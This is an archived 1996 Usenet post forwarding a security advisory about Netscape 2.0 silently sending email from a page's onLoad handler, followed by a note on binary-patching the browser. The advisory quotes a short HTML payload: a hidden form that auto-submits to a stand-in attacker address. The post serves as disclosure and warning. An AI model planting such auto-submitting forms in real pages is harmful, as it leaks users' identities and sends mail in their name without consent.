🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: comp.sys.amiga.networking
Article #287

I hope Amiga browsers don't have this NetScape problem!

#287
From: Dave Gentry
Date: Wed, 03 Apr 1996 17:53
97 lines
4499 bytes
-------------- Forwarded Message begins here ------------

From: Julian Assange <proff@suburbia.net> Date: Tue, 12 Mar 1996
13:05:23 +1000
To: best-of-security@suburbia.net
Subject: BoS: Netscape2.0 sends mail to the world without authority

I noticed, while loading a web page, that there was a mailto: URL
active (using the "Easter Egg" Ctrl-Alt-T popup to see active URLs).
Sure enough, after I cancelled that and examined the source, I saw
something like this:

<body onLoad=3D"document.mailme.submit()"> <form method=3Dpost
name=3D"mailme" action=3D"mailto:nasty@secret.org?subject=3Dgotcha">
<input type=3Dhidden name=3D"hi" value=3D"there"> </form>

A quick test on my local machine shows that this will send a message
to nasty@secret.org with the subject gotcha and the body "hi=3Dthere".

This is insidious; it means that E-mail messages, purportedly from me
(and all traces will show they really are from me) can be sent
anywhere, without my knowledge, with contents that I do not approve.
Further, it means that I can no longer count on browsing a site
without my userid being disclosed.**

Unlike Java, there is no way to disable this.  [Also been submitted to
Netscape.]

- ------------ Forwarded Message ends here ------------

Summary:

Netscape has not responded this latest discovery yet.  There will
probably be a maintenance release to address this if public outcry is
significant.  Security is not just an issue regarding firewalls.
Several software vendors have quietly installed such options 'for the
users' convenience'.

**The reason this is such a problem is a push by various vendors to be
able to identify everyone who visits a web site.  For obvious reasons,
these lists could be used by the vendors for mass mailings, or worse,
sold like mailing lists are sold by magazine publishers.

UNIX systems run a daemon (identd) that will gladly reveal the machine
ID when asked by a Web Site that the user is browsing.  This of course
can be turned of, but if not, it will be done without the owner's 

-----------------------------------------------------------------------

I tested this on SunOS 4.1.3, and it sure works: the Netscape onLoad
function will send mail using your account name and without asking for
confirmation or even informing you.

I looked at the Netscape binary with od -s and emacs. The string
"onload" (all lower case) occurs 2 times on itself, between null
characters.  When I patched it, changing the first occurrence to
"onxxad", the resulting binary did not any more obey the "onLoad"
directive and did not obey the "onxxad" directive either.  When I
changed both occurrences of "onload" to "onxxoad", the resulting
binary did not obey the "onLoad" directive, but it did obey the
"onxxad" directive.

Note that the Netscape license agreement forbids you to :

"... * modify, translate, reverse engineer, decompile, disassemble
(except to the extent applicable laws specifically prohibit such
restriction), or create derivative works based on the Software; ..."

So if you patch Netscape to prevent it forging your mail,  you might
be breaking the license.  And of course this kind of binary patching
may easily break something else.  At least it will break any WWW pages
which use the onLoad directive for some other,
more legitimate purpose.

So do not do it unless you know exactly what you are doing,
and do not blame me if it does not work or leads to a disaster!

If you are really concerned about this thing,  consider sending e-mail
to Netscape Communications Corporation,  explaining to them the
reasons why you think Netscape should not send mail using your
machine, address and account without asking for confirmation.

- Tim


----- End Forwarded Message -----



This travesty of programming/marketing should be forbidden by law.

Spectrum Technologies, Bermuda
Internetworking and Security Consultants (441) 296-2578 Tel
ngentry@ibl.bm
(441) 296-2581 Fax  spectrum@ibl.bm

'Building Castles in the Technological Sand'
Technical Details
Message-ID: <4ju3bo$jo2@news.internetmci.com>
Path: arc1-ca.pugleaf.net!news.internetMCI.com!news-admin

Show Full Headers
Complete Article Headers
Path: arc1-ca.pugleaf.net!news.internetMCI.com!news-admin
From: dgentry@vlsi4.racal.com (Dave Gentry)
Newsgroups: comp.sys.amiga.networking,comp.sys.amiga.datacomm,comp.sys.amiga.misc
Subject: I hope Amiga browsers don't have this NetScape problem!
Date: Wed, 03 Apr 1996 17:53:09 GMT
Organization: InternetMCI
Message-ID: <4ju3bo$jo2@news.internetmci.com>
NNTP-Posting-Host: rdgw.racal.com
X-Newsreader: Forte Free Agent 1.0.82